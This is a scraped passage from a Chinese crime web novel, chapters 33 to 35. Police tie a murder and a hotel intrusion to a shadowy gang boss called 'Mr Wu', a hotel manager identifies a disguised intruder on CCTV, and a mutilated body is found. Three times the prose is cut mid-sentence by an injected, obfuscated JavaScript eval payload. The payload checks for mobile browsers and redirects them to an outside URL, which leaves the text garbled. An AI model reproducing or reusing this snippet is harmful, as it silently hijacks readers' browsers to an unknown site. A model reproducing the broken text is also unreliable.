他的语调比平日里来的更清冷,对史蒂文说:“这次我们的大华之行,处处透着诡异。事到如今,已经可以把一连串的事情联系起来了。很显然,那个人向‘司令’投诚了。” 史蒂文震惊。“‘司令’?他想要获得‘司令’的支持我能理解,可是扶持他,对‘司令’又有什么好处呢?” “可以换掉我。这几年下来,想必‘司令’对我的忍耐快到极限了。” 在罗誉之前,老诺坎和‘司令’属于井水不犯河水的关系,其实罗誉本也想维持这种关系就好。可在他上位之初,‘司令’就派了人来,帕朗姿态摆的很低,说了一堆好话。彼时罗誉想着自己尚未坐稳,不宜在外部树敌,对方背后是正规军,万一有了龃龉,麻烦也会很多,因此也就客客气气地捧着。 一开始,‘司令’也确实帮了他。公开表示对他的赞赏和支持,给了他一些诸如‘商会主席’之类的头衔。如果不是‘司令’的表态,罗誉没可能这么快就把老诺坎的人马全部收服。 但是很快,‘司令’对罗誉的要求也越来越多,越来越过,俨然将罗誉当成专给自己干脏活的。直到有一次,‘司令’要求罗誉替他的人送一份白货到大华。这一要求被罗誉拒绝。此后,两边就生了嫌隙。‘司令’认为罗誉不好合作,忘恩负义;罗誉也觉得‘司令’没有底线,捆绑太紧反而容易被背刺。 近两年,虽然明面上仍然保持着体面,但也仅剩这点明面上的体面,彼此心照不宣。 这一次,看来‘司令’终于等到了他想要的人。 史蒂文皱着眉说:“可是他那么疯,明显更不好合作吧!‘司令’换人不就是为了更容易控制,为他做事么?” 罗誉叹了口气,回答:“但他有一点正是‘司令’想要的:没有底线。” 史蒂文怔住。 “老诺坎当年是因为太暴戾,才和‘司令’能够互不干涉,但他不会想到把这些告诉给他儿子,我也就无从得知,这才踩了坑。可他……没有底线,就不存在老诺坎或者我这样的问题。而‘司令’想必也已经想过怎么控制他,不难,抓住把柄就好。” “我们盯着帕朗那么久,都没有发现这家伙有什么异常,恐怕也是因为,那人不是联系的帕朗,而是和‘司令’直接联系。” 史蒂文搭在方向盘上的手开始收紧,有些懊恼,有些不甘。这些事情本不应该发生。当年那个海上的夜晚,所有的事情都应该在那条船上结束。他们计划得很好,执行不应该出现任何问题。他也曾以为那晚唯一的不完美,是捅进去稍微偏了一些的刀口,可现在却发现恐怕整个晚上都是一个巨大的不完美,并且让当下的他们陷入一个相当麻烦的境地,而他却迟钝到几年后才发现这一点,史蒂文的自尊心属实接受不了。 “我们现在该怎么办?”史蒂文恨恨地问。 罗誉十指交叉,双手交叠搁在腿上,依旧冷静。时刻保持冷静,这也是他为什么能成为众多人的主心骨的原因之一。“大华这边太多摄像头,机场太不安全。我本考虑过尽快‘坐船’回联邦,但现在我改主意了。”反正他们的护照之类都是假的,真想要走随时都行,真正让他“走不了”的原因他只是不愿意宣之于口罢了。 “整个联邦国都是‘司令’的地盘,我们现在回去反而是羊入虎口。不单要防备那个人,还要防备已经有实质行动要除掉我们的‘司令’。准备不足的情况下,我们这样太过冒险。还不如留在大华,至少,在这里,‘司令’的人进不来。我们对付那个人时,可以少很多阻碍。” “但是留在大华,只有我们两人……” “Steven,还记得么?小酒馆后巷那一夜,也只有我们自己。”罗誉忽然爽朗一笑,“更何况,在大华还有个谁都惹不起的存在。说不定,会给我们带来意想不到的惊喜。” 这个笑容太有感染力,史蒂文一怔,很快也咧开嘴笑了起来。是啊,怕什么? 老王新拆了一包山楂片。其实他对烟瘾已经控制的很好,几乎不会再想起要抽烟,最近闻到烟味,还会觉得有些排斥。但山楂片好像也成了新的习惯。老伴儿笑他老了老了,倒知道嘴馋了。他也不恼,乐呵呵认了,转头跟陈登嘀嘀咕咕,说山楂能降三高,明明是健康食品,吃健康食品咋能叫嘴馋呢? 陈登回来就一头埋在电脑前,在系统里找什么卷宗,忙了好一会儿。老王看宝贝徒弟这架势,猜测他出去一趟一定有了新发现,也没去打扰他。倒是一旁的李弛性子急,耐不住,脖子伸得长长的,总想看看陈登到底忙活啥呢。 等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615111|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈登找到了他要的几个悬案卷宗,展示给他们看,然后说了自己的想法之后,连方支队长都惊动了。 老实说,之前谁也没想到是这样的惊喜。虽说现在还在推测的阶段,尚且缺乏佐证,但警队是什么地方?刑侦工作从来都是讲究大胆假设,小心求证。不怕你假设出错,怕的是连假设都不敢!方支队长两眼放光,厚实的手掌啪啪地拍陈登的后背!我们支队人丁兴旺,子子孙孙无穷尽也,革命工作后继有人……陈登,是个好小子! 有了新的思路,队里的气氛顿时一热,士气大涨。 徒弟被领导当众表扬,当师父的老王与有荣焉,能不乐呵么?徒弟的想法,他也认为很有价值,鼓励了两句继续发掘,然后转身走到角落里,看周围没有人,拨出了一个电话。 王琼接起电话,有些惊喜。 “叔!您怎么想起来给我打电话了呀!” “我挺好呀!嗨!客人哪有消停的,还不都是那些事儿么!一会儿床垫太硬,一会儿浴缸太滑的。不是,我说,叔,你给我电话就说这呀?别是你和婶儿闹别扭了吧!我跟你说,可不兴闹别扭了就逃家啊,你来我也不给你开房!” “哦哦!你想问什么?” “……是,对,他们回来还住原来的总统套房。”王琼脸色一变,下意识往周围扫了一圈,确认旁边没人。 老王在那头问了些那两人自从住进花冠皇庭酒店之后的情况,王琼都认真详细地回答,她知道叔叔不会没事瞎打听八卦,更何况那两人如今是取保候审中,本就仍在警方的监管中。所以这会儿,她极有可能是在配合人民警察的工作。身为警察的亲属,王琼对这方面的敏感性和觉悟向来是很高的。 直到老王问完,王琼才偷摸问一嘴:“叔,这是干啥?五十万吗?” 老王在那头一愣,继而就乐了。要说这侄女儿,聪明是真聪明,就是有时候过于跳脱,一般人跟不上她的思路。越是这样,老王越是不愿意让侄女儿牵扯进来。万一出了什么事,老王也没法跟族兄交待。 “你一天天的,别瞎想!都什么跟什么!好好工作!没别的事儿,我先挂了。”老王糊弄着就先挂了电话。 王琼嗯嗯啊啊地应了,等对面挂上电话,王琼才挂线。对着锁屏的手机嘿嘿一笑,老王头没直接否认,这说明两个客人在他眼里大概率是有问题的。老王向来谨慎,嘴紧得要命,如今宁愿这般含糊其辞,也不否认,那就懂的都懂吧。 王琼深深吸了口气,缓缓吐出。她迈步往自己的小办公室走去。 前段时间频繁接收到史蒂文的一些信号,越来越明显,她即便是母胎单身,也已经心知肚明。她曾经是有意向的,慎重考虑过后,这段时间她都在着意考察对方的认真程度。 史蒂文毫无疑问是个耀眼的存在,天生就拥有着吸引女人目光的特质,被这样的男人献殷勤是很满足虚荣心的事。但王琼没那么容易被冲昏头脑,她很冷静地看到一些问题:史蒂文是外国人,他们之间的物理距离非常遥远,这份感情需要克服的困难会很多,付出的牺牲会很大。所以,她给对方的考察期也有些长。 而现在,考察期结束。 王琼打开办公室门,走进去。办公桌的一角,小花瓶中插着一束清雅的花束,是史蒂文送的。他跟一家花店订好,每三天送来一束鲜花。花束都是选的清新可爱风格,没有用奢华土豪的那种庸俗路线,王琼还挺欣赏这男人的审美眼光。 只是,从现在开始,不重要了。琼姐是个果断的人,拿得起,也放得下。 花束被拎起来,扔进垃圾桶。 水龙头哗哗地放着水,小花瓶被冲洗干净,湿答答地往下滴水。琼姐看着小花瓶,心里只想,登仔要是知道他朋友是有问题的,会不会又要哭了…… 33. 第 33 章 K市第一看守所。 这里每天看电视的时段是固定的,能看的内容也是固定的新闻节目。看守所播什么,你就得看什么,谁让你是进来改造的? 马程飞的案子虽然结了,但还没判,所以他还待在看守所。进来这些日子,马程飞已经从一开始的烦躁,成功地调整了心态。 换成以前,谁会要看这些?要他开电视,那只能是播某些特殊动作片啊!食色性也!不看这些符合本性的东西,那还是人么? 可现在,他已经不烦躁了,烦躁有个屁用?屁用没有!管教们还会因为你情绪不稳定而多看你几眼……飞哥之所以能和别的偷儿不一样,不就是因为飞哥知道什么事儿应该怎么做么? 飞哥成功修炼出了“分魂大法”,他能让自己的身体在这儿看电视里琐碎无聊的新闻节目,同时让脑子飘在以前看过的小电影上……飞哥从来不知道自己的记忆力原来这么好,所以说环境真的能够改造人。嗯!他一定可以在这里改造得好好的。 “死者马某飞,男,35岁,Y省K市M县人……”电视里千篇一律嗡嗡嗡嗡的播音腔还在絮絮叨叨个不停。大厅里突然发出一声巨大的重物倒地声。众人回头看去,马程飞的小凳子侧倒在地上,他呆愣愣地跌在地上,双眼通红。 马程飞被紧急带到禁闭室。将他带到禁闭室不是因为他犯了错,是因为他突然不知受了什么刺激,情绪崩溃。他全程激烈地扭动,嚎叫,悲痛万分。为了防止他伤害到自己,也为了避免影响到别的犯人,不得已只能将他先隔离到禁闭室,等冷静下来后再做下一步的沟通教育。 马程飞从小和哥哥一起相依为命。他们的爹妈很早就不知所踪,谁也说不清到底是外地打工遭遇了什么意外,还是谁比谁先见异思迁抛弃了家庭,反正哥俩很小的时候就再没见过父母。哥俩被学校老师强拉着在学校混了九年,勉强算是完成了教育,就换到社会上混了。 在社会上当然不好混,兄弟俩没少挨社会的毒打。 马程飞的个性有些天马行空爱自由,放古代那就是勇闯天涯的独行侠。他不爱费脑子组建和管理团队,也不高兴天天盘算着怎么挣大钱,他就是个没什么上进心的废物点心。 他马程飞扶不起来,自然也有大哥马鹏飞责任心爆棚的原因。马鹏飞被社会打磨更早两年,他那两年是彻彻底底的一人扛,所以他发誓不会让弟弟再尝一遍这种苦,马程飞也就好过许多。马程飞也很清楚自己的岁月静好全凭哥哥负重前行,哥俩感情甚笃。 而就在马程飞还想着,安心蹲几年,出去还去做哥哥家的米虫时,哥哥的死讯以这种冷酷的方式传来,马程飞彻底破防。他的天塌了。 被架着带进禁闭室,也没能让马程飞冷静下来,他继续发疯,嘶吼、痛哭,试图摔东西和撞墙,但发现在禁闭室想要自残是不可能的。发泄不出来就更疯……最后他是把自己直接累晕过去,才安静了下来。 看守所的管教们大多很有经验,对他很关注,但也不敢在还不清楚原因的情况下,轻易去打扰他。暂时先只能保持密切关注,随时做好“攻心”的准备。 马程飞晕过之后长长地睡了一觉,然后醒来也不闹了,躺在地上没动,仿佛被抽走了灵魂。管教试着去跟他谈,毫无反应。 饭也不吃,觉也不睡,就这么熬到了第三天早上,管教走过来对他说:“那是你哥对吧?你就这么去见他?有意义?” 好歹是号中了他的脉,马程飞眼珠子动了动。 之后的半天,管教们又让他自己思考去了。有些事终归要靠自己想清楚。好在,马程飞脑子不复杂,走直线,想通得挺快。 “我要见政府,我要见领导。我要交代问题。”他说。 “没问题。前提是,在领导来之前,你把这碗粥喝了。”资深的老管教趁机给他骗下去一顿饭。 老王和陈登赶到看守所,给马程飞做笔录。 这份口供是之前他咬死不肯交代的。大致内容就是鼠爷提到过的,马程飞行动之前,从哥哥马鹏飞处获得过一些关于目标人物的一手信息,但鼠爷不知道又是谁把这些信息给了马鹏飞。现在,马程飞主动交代了出来。 “我哥告诉我,是老谢给他提供的这些信息。”马程飞吃过了粥,也洗漱了一番,除了脸色还有些白,眼窝塌了点,别的状况都还好。“这个老谢,我了解不多,之前听说好像也是有头有脸有身份的人。我不认识,也没多关注,只从我哥那儿听过两嘴,知道他是‘吴先生’的人,可以说是‘吴先生’的大管家。平日里,有什么事情,都是他替‘吴先生’出面。我哥因为想投靠‘吴先生’,获得‘吴先生’那边的支持,这两年没少孝敬老谢。” “你之前为什么不说?”陈登问。 “‘吴先生’这两年在道上,暗中发展的势力很大,他们做事情的风格……听说挺狠的。”马程飞用双手捧了水杯喝了一口,“我这就是个盗窃案,还是未遂。又不是杀人放火,进来就不用出去了。我进来蹲大狱,回头没几年又要出去的。我这会儿要是图个嘴爽,到时候,都是要还的。而且……”马程飞垂眼看着水杯,有些哽咽,“我哥一个人在外面,不容易,我不想拖累他。” 陈登偷偷望了一眼师父。他们接到看守所的消息,就第一时间赶来,来的路上,老王就说,多半是马程飞想为自己哥哥做点什么。师父就是师父! “那现在为什么又想起来说了?” 马程飞握着杯子的手微微颤抖着收紧。“我哥怎么死的?” 陈登记着笔录,眼皮都没抬一下,冷酷地说:“回答问题。” “我想知道我哥到底怎么死的!”马程飞盯着面前两个警察,语气很强硬,“你们告诉我我哥怎么死的,我就告诉你们我知道的。” “你知道的不一定是我们想知道的。是你自己说要见我们,要交代问题,那就好好交代。”陈登语气更强硬。 马程飞顿了顿,眼神更见凄厉,他还想再坚持一下。“……会是你们想知道的……求求你们了,告诉我……” 老王抱着胸,深深叹了口气…… 马程飞呜呜地哭,也一直不肯让他们走,一直折腾到后半夜,老王和陈登才总算做完笔录出来,马程飞也获得了他们的承诺,会向上级请示批准他参加马鹏飞的葬礼。 马程飞交代的信息量不算多,但算是一块很重要的拼图碎片,不但能补上一环逻辑,使案件逻辑链更完整,同时也印证了很多他们之前的推测。 在众多曾经疑难的案件背后,确确实实存在着一个不曾显山露水的神秘组织。他们已经暗中发展了多年,积蓄了一定的力量。他们缜密、狡猾、阴险、凶残,发展势头非常迅猛。要不是这次被发现,他们继续悄咪咪地吞并扩张,用不了多久,必然会成为一个非常可怕的组织。 马程飞只是怀疑,但他确信,确信哥哥是被“吴先生”杀死的。在看守所羁押期间,和其他的犯人们交流之后,马程飞长久不用的脑瓜子也被灌输了不少道上的“人生经验”,有些事情撇开繁杂的信息干扰之后,就变得很通透。 老谢作为“吴先生”的代理人,他说的话做的事必然是出自“吴先生”的授意。“吴先生”此前对马鹏飞爱搭不理那么久,如今突然获得指点,不太可能是哥哥的“孝心”终于感动了“吴先生”,最有可能的是,这件事情背后有着“吴先生”自己的利益所在。所以其实是“吴先生”利用两兄弟,借他俩的手,对付目标人物——那个富商。 但是不管“吴先生”到底想要怎么对付那个富商,马程飞搞砸了,他因为一些意外翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615112|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船,自己都栽了进来。在“吴先生”来看,不是他马程飞倒霉,而是马鹏飞坏了他的事。所以马鹏飞就要获得惩罚,“吴先生”需要发泄自己的情绪,也需要对道上其他的人立威。马程飞如果没有进看守所,很可能也跟他哥哥一起被做掉,所以他被抓也可以说是塞翁失马,焉知非福了。 马鹏飞的死,只可能是“吴先生”下的手。马程飞非常肯定,只是他没有证据。 他没证据没关系,警方会对查证这种事情非常感兴趣。专业的事情交给专业的人,不会有错。 哥哥不会白白死的,他不会让哥哥就这么不明不白窝窝囊囊地死。就算他们兄弟俩都要死,搞他们的人,也要被咬下一块肉来! 警队的灯,长明不熄。 一年三百六十五天,每天不是你加班,就是我加班,也就不觉得有什么问题。 “别说,‘吴先生’这个称呼,上次那个宠物运毒案还记得么?那个案子里有个线人提过一嘴,但没什么有价值的信息。” “马程飞提供的这些信息,虽然尚且缺乏确切的物证,但是跟我们之前做过的推测能印证上一大部分。” “这说明我们的方向是对的!” “酒店入侵案和夜总会后巷杀人案现在产生了因果关联,现在是否要将两案并案处理?” “并案吧,不单要并案,我看还有必要组建大型专案组。K市暗中竟然发展出这么大的一个恶性组织!” 又是一个讨论激烈的夜晚…… 几个客房服务员在食堂吃饭的时候凑一起聊天。王琼坐在她们不远处,听小邱说起:“前两天S888房里有一辆送餐车,就是不知道俩帅哥晚上饿了叫了点什么吃。餐盘这些都很干净,总裁不会是吃完还洗了盘子吧!” 其他客房服务员们只是叽叽咕咕互相调侃着,咯咯咯咯地笑,谁都没多想。 可王琼不一样。 自从史蒂文开始对她献殷勤,王琼对这两位客人的关注度就提高了些。他俩因为涉嫌绑架取保候审后,不管于公于私,王琼都需要投注给他们最高程度的关注。更不要说老王还专门偷偷摸摸给她打来个电话,打听这两人了。 当前的王琼,只要是这两个人的相关信息,她都要收过来从脑子里盘一遍,看会不会有问题。这两天宝宝的天线刚竖起来,对五十万的积极性正高呢! 吃完饭,琼姐就去了趟餐饮部,跟夜班厨师、送餐组对了对账。果然有问题!夜班厨师那天晚上没有接到过S888的订餐需求,送餐组也没有送过餐。并且,送餐组还反映,这两天是少了一套餐车,正找呢!这事儿没敢上报,就是因为少得很奇怪,几个送餐员都很委屈,组长可怜他们,想先保一保。 呵呵!果然有妖怪! 琼姐对送餐组长使了个眼色,放心,这不找着了么,琼姐不会漏出去的。送餐组几个人都明显松了一口气,感激琼姐。 王琼心里有了数,直奔安保监控中心。 酒店原本的监控室不大。在酒店入侵案后,安保部受到嘉奖和重视,并被作为典型案例推广,因此安保部获得一定的经费倾斜,刚刚改建了一间更大的空间,作为安保监控中心。 新搬进来没多久的安保监控中心里,一部分设备换新,一部分没淘汰的老设备获得了更好的空间布置,走线更合理了,不像以前逼仄的监控室那样到处拖着不知道连哪台设备的电线。监控员的工作环境有了大幅度的提升,这几天嘴都没有合拢过。 王琼一边联系安保经理,打了个招呼,一边用工卡刷开了安保监控中心的门。 “王经理,稍等,我调出来。”监控员老刘在王琼说明来意后,神色一变,熟练地在监视器上操作了一番,监控录像直接跳到一个时间点上,“你想看的是不是这一段?” 34. 第 34 章 老刘是安保部的老员工了,年纪倒不是特别大,今年也就三十出头。平日里工作认真负责,脑子也灵光,几年下来经验也积累了不少。前年在工作中受了点伤,一条腿骨裂了,休养了一段时间。酒店考虑到毕竟伤筋动骨,也不想过度消耗一个好员工,就将他调到监控室里,做了监控员。老刘也没有辜负酒店,在新的岗位上也甚是卖力,提出过不少好的想法和建议。那套在酒店入侵案中“功勋卓著”的红外线外墙监控,就是老刘强烈推荐的。 老刘几乎在王琼一说想要看一下前几天晚上的总统套房层监控时,就想到了这一段画面。 一个身穿制服的服务员推着送餐车进入总统套房S888房间,稍后从房内退出离开。 那晚不是老刘值班,他是在第二天上班时,大致过了一遍头天晚上的监控内容时发现的。他只是觉得画面里有些奇怪,服务员的仪态有些异样……怎么说呢?有些过于松弛。 酒店送餐的男服务员们都是小年轻,接受礼仪培训是没错,但硬练出来的仪态多少是带点表演的成分,尤其是他们提供服务的客人通常身份地位都比较高,年轻人就难免“给富人们表演教养”的装腔作势感。这个服务员身上,却没有这种表演感。 老刘直觉有些异常,就对这段画面印象深刻。为此他特意关注了一下总统套房S888两位客人的情况,这两位是在公安那边挂上了号的。结果两位客人一切正常,或者说表现得正常,不能更正常。 然后,仍旧心存疑虑的老刘也在酒店范围内其他的监控点找这个服务员的画面,但能找到的画面竟然不多。他正犹豫是不是需要上报,如何上报此事,王琼就来了。 老刘调出他翻来覆去盘了两天的监控录像画面,王琼当即面色凝重起来。送餐组的每一个人她都十分熟稔,这段画面里的男人不是送餐组里任何一人。不,应该说,他不是这个酒店的工作人员里的任何一人。 王琼为何能够一眼看出这男人不是酒店人员呢?因为就是这么巧,她见过他。 王琼身为高级酒店的客房经理,曾经参加过过去两年的全国行业协会年会。其中一次是在邻省的省会举办,王琼在那里和几个同行处得很不错。就在主办方为他们定的住宿酒店里,她曾见过这个男人,当时他就住在那家酒店最好的房里,他的保镖和王琼几人曾发生了些许不愉快…… 这人身份非富即贵,却在一个深夜,悄悄潜入酒店,偷了服务员的制服和送餐车,进了一个有人入住的房间…… 如果非要说这是商人之间正常的商务谈判,有必要伪装潜入吗? 怎么想都好像离五十万差不了几毛钱了呢…… 王琼不安地抿了抿嘴,让老刘将这段录像考出来,务必保存好。她自己则风风火火去找她的上司——客房总监。 客房总监一点没含糊,当即决定报警。王琼拨通了老王的电话。 花冠皇庭大酒店的监控录像被送到警队。警方迅速对这一证物进行了技术处理和分析。 另一边,作为这位神秘访客拜访的对象,罗誉和史蒂文这两位仍在取保候审中的“嫌疑人”再度被请到了警队。 “我们也不知道他是谁。那天晚上,我被吓到了……”被要求陈述一下那一晚的经历时,罗誉有些紧张地推了推眼镜,小小调整了一下坐姿。 “一开始,我和我的助理史蒂文都很困惑,我们没有叫送餐服务,但是那个人说,是酒店为了庆祝我们从警局回来,特意提供的VIP服务。” 李弛直白地问:“这种借口你们都能信?” 罗誉有些不自在地捏了捏手指:“世界各地的高档酒店,为了维护VIP客户,无所不用其极,送点夜宵餐点什么的也不是很奇怪。” 李弛叹气,好吧,我没住过高档酒店…… “况且……”罗誉的眼睛不好意思地瞥向一边。 另一间房间里的史蒂文倒是没那么不自在,“况且,我正在追求酒店的客房经理,我的boss和我都以为是Joan为我们准备的惊喜。Joan就是客房经理,王琼,我喜欢叫她Joan,这名字很可爱,对么?” 对面的警员捂住脸。 “你们让他进门后,都发生了些什么?” “他进来之后,先做了自我介绍,说他叫老谢。”罗誉认真地回想,一边说道:“我就觉得奇怪,酒店送餐的服务员没必要向客人介绍自己。然后,他说他是一位‘吴先生’的私人助理。我这才意识到他不是酒店的人。我当时受到了惊吓,我,我有点害怕。” 史蒂文语气夸张:“老天!我和我的boss都很震惊,这事儿要是发生在合众国,那人接下来很可能从背后抽出两把手枪!” 罗誉继续不自在地捏手指:“他说他来没有恶意,只是他的老板‘吴先生’和我在别墅约见的朱先生有一些事情需要解决,却无端牵连到了我,所以想要向我表达歉意。他还说他带了个礼物给我,就放在送餐车的餐盘里。” “里面是什么?” “我不知道!我没让他打开。当时我,我有点儿激动,我说不管是什么,也不管他是谁,都请他带上东西赶紧离开。” “你跟他们到底有什么关系?” “我不知道。我真的不知道。我只是被卷进了绑架案,这你们知道的。”罗誉皱起眉头,语气也有些急了。 “你和他们肯定不止这点关系。你不要试图隐瞒。”李弛强硬地说。 “……警官,我实在不知道跟他们还有什么关系了,你这么肯定,要不你来告诉我。”罗誉无奈又不耐烦地看向李弛。 “如果你们没有关系,为什么‘吴先生’会找人去酒店偷你东西?又为什么在事情失败之后,去夜总会杀了没办成事的人?我跟你说,你现在不单是跟绑架案有关,还跟杀人案有关!” 罗誉一脸震惊,半天没说出话来。 “所以,是那位‘吴先生’在针对我?还杀了人?”罗誉哑着嗓子问道,“他是不是和合众国有关?” “为什么这么问?” 罗誉闭了闭眼,摊了摊手,回答:“我是个商人,我们家在合众国有几个竞争对手,我们之间的竞争一直非常激烈。近几年我从父亲手上逐渐接手了生意,也逐渐被对手注意上了。绑架案之后,我曾经怀疑,是竞争对手豢养的帮派在趁机给我制造麻烦。现在你告诉我,是‘吴先生’。”罗誉说着说着开始激动,“所以那个狗屁的‘吴先生’就是个道上混的对么!我就是被这种人缠上了对么!” 李弛一时间也有些懵,这……怎么好好的还跨国了呢?他连高档酒店都还没住过,怎么还管上境外的团伙了呢?人生大起大落实在太快太刺激了…… 白板上,一张男人的照片被用磁吸片夹上面板。男人四十左右,文质彬彬。 “谢泽仁,男,四十二岁。他就是老谢。”老陆让自家徒弟李弛多多锻炼,多多表现,于是此时,李弛站在白板前,梳理目前的证据链。“SG集团CEO,G省2023年度标志人物第八位……” SG集团组建于十七年前,但最初其实只是一家规模很小的电子手表厂,效益也不好。但那些年,国家刚好在大力发展集成电路、软件和新型元器件这些核心产业,重点培育光电通信、无线通信、高性能计算及网络设备等信息产业群,建设软件、微电子、光电子等产业基地。这家毫无技术含量的小手表厂也不知道走的什么门路,硬生生蹭着享受了几年的政策优惠。后来政策优惠没了,他家半死不活地挣扎了好多年,做过好几次工商变更,勉强没倒闭。直到大概五六年前,突然间这家企业在一次变更后,半年的时间内,在全国范围内出现了很多家分、子机构,自此资金流动也开始活跃,一下子就起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615113|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今说起来,SG集团也算是西南地区电子产业中的知名企业。 会议室里,大家一时间多少有些无语。咱就说一般情况下,谁能想到一个在全国也算是响当当的大佬级人物,竟然还是□□集团的“白手套”…… “目前来看,SG集团很可能是‘吴先生’组织的一层假皮。” “现在还没有谁能够提供关于‘吴先生’本人的实质性资料,我们甚至不能断定,他是否真的姓吴,是男是女……” “老谢已经是明牌,他和SG集团可以作为突破口。” “罗誉的猜测不能说完全没有可能性。如果‘吴先生’是外国势力豢养,他们一定有境内外的资金流动,可以先查查有没有经济犯罪的问题。另外,有没有可能,国际刑警组织能帮忙查到些什么?” “嗯,可以申请他们协助调查看看。” 警车呼啸着飞驰而过,往远处驶去。 在这个城市的边缘地带,一处阴暗的角落,一具女尸以一种诡异的形态被弃置。之所以知道是女尸,还是因为头部保留相对完整的关系,至于其他部分,她就像是一颗洋葱,被一片一片地剥开…… 发现她的人,第一声惊叫被恐惧堵在了自己的嗓子眼儿里。他两腿开始抖个不停,在终于能够发出爆鸣的同时,他试图后退,跑起来逃离过分血腥恐怖的现场,却因为腿软狠狠摔倒。在这之后,他发现自己根本没有力气站起身来,裤子被失禁的尿液打湿。 陈登和李弛脸色都很白,他们都刚吐过一轮。他俩都不是心理脆弱的类型,也还是没能扛住。 李弛吐完回魂,庆幸冯佳佳没来,否则准得留下点儿心理阴影。 陈登没搭话,心里想的是,阿誉被这样一个疯子缠上,属实倒霉透了!原本他已经申请了回避,不再参与桃源湾别墅绑架案的调查工作,这才有空被分派调查夜总会后巷杀人案,谁知搞了半天,现在几个案子并案调查了。这回老王直接告诉他,别再提什么回避申请,提了方支队长也不会批准。 接到新的报案,来到现场,谁也没想到是这样的场面。 想着反正已经吐空了,两人忍着恶心又靠了过来。小周法医动作干净利落,这会儿尸体或者说开花的肉片已经被小心地收拾到了尸袋中。拉链被拉上那一刻,两位男警员终于长出一口气。 小周法医无情嘲笑:“瞧瞧你们这点儿出息!” 李弛面露苦色:“你别说得轻巧!你刚看见的时候不害怕?” 小周法医一甩她刚留起来,还不及兔子尾巴长的小辫子,不屑地说:“怕什么呀?人都死了,还能跳起来咬你啊!” “不是!你看见这种血刺啦呼的,你不怵啊?这都看不出形状了啊!”李弛都麻了,“还有那味儿……”说到这儿李弛也想起来了,人家工作间里的味儿更冲…… 小周法医跟看一块木头似的,语气平淡,“这点味儿算什么?这还是新鲜的。什么巨人观啊,腐烂水泡啊,都见得多了……而且,别说,这些刀口都挺讲究呢!凶手别是个强迫症……” “憋说了……”李弛打断她,一把捂住嘴仓惶地往墙角跑去…… 陈登服了这俩。“我说,你别吓唬他了。” “这才哪儿到哪儿!嘿嘿!” 你不笑那两声我说不定就信了…… 回到队里,没多久,痕检的小孟过来先给了初步确认的信息:现场找到的一部手机,确认是魅影夜都夜总会的老鸨刘艳的。所以那名受害人,极有可能就是失踪了的刘艳。 具体结果肯定需要等到DNA检验报告。但假设死者就是刘艳,那么杀她的人有很大的可能就是“吴先生”。她在马鹏飞出事当晚被“吴先生”带走,杀害,抛尸在这里。 这样的死法,真不是正常的一般人能想出来的,更别说做出来……很符合“吴先生”的调性…… 35. 第 35 章 “这块好了!”陈登夹起烤盘上滋滋冒油的牛五花,熟练地用剪刀剪成小块,夹到罗誉的餐盘里,“趁热快尝尝!”趁着罗誉蘸酱,又往他盘子里加了几块。 他俩重新相认后,陈登调整好心态,俩人就联系得挺频繁了。到夜总会现场附近那次见面后,陈登又有了新的乐趣。 发小依旧是那个聪明绝顶的发小,和他交流总能有些收获。有时是快乐的心情,有时是他生意里的八卦奇闻,有时还会是一些很特别的思路,看问题的方式等等。他们聊不完的话题,陈登对罗誉的每一件事都充满兴趣。 他们越来越频繁地约饭,最近几天每天都会一起吃饭。李弛和冯佳佳也开始对罗誉感兴趣。 严格说来,其实这或许有些不太妥当。一个是取保候审中的嫌疑人,另一个是办理案件的警员。但双方都挺有分寸,从不涉及相关的案件。 警队领导对陈登和他发小的情况也都了解过了,方支队长没说什么,他对陈登这孩子挺有信心。这也让老王曾经有些诧异,他都准备好了“离嫌疑人近一点也就离真相近一点”的说辞,结果都没给他机会说出来。 反正这段时间,陈登找回了童年时的快乐,甚至更快乐。有天冯佳佳吐槽,陈登要是有条尾巴,每天下班都会摇得像要起飞的螺旋桨。 今天吃的是碳烤,陈登咔咔一顿点,上了好几大盘子的肉。俩人边吃边聊,聊到哪儿是哪儿。两人从一开始的哪些肉好吃,聊到外国人不吃狗肉,再到极端动物保护,一路的天马行空。 “极端动保在哪里都属于是奇葩,谁碰到都得头疼。他们往往不觉得自己激进,更不认为自己的行为可能涉及到触犯了法律,他们很有信念感,或者使命感。”罗誉拿了片生菜叶子包肉,手指细长匀称,引得邻桌的小姐姐偷偷举着手机拍。 “同意,这些人做出一些激进的行为后,很多普通人第一反应觉得他们有病,其实不是的。”陈登夹着一片牛舌蘸酱。 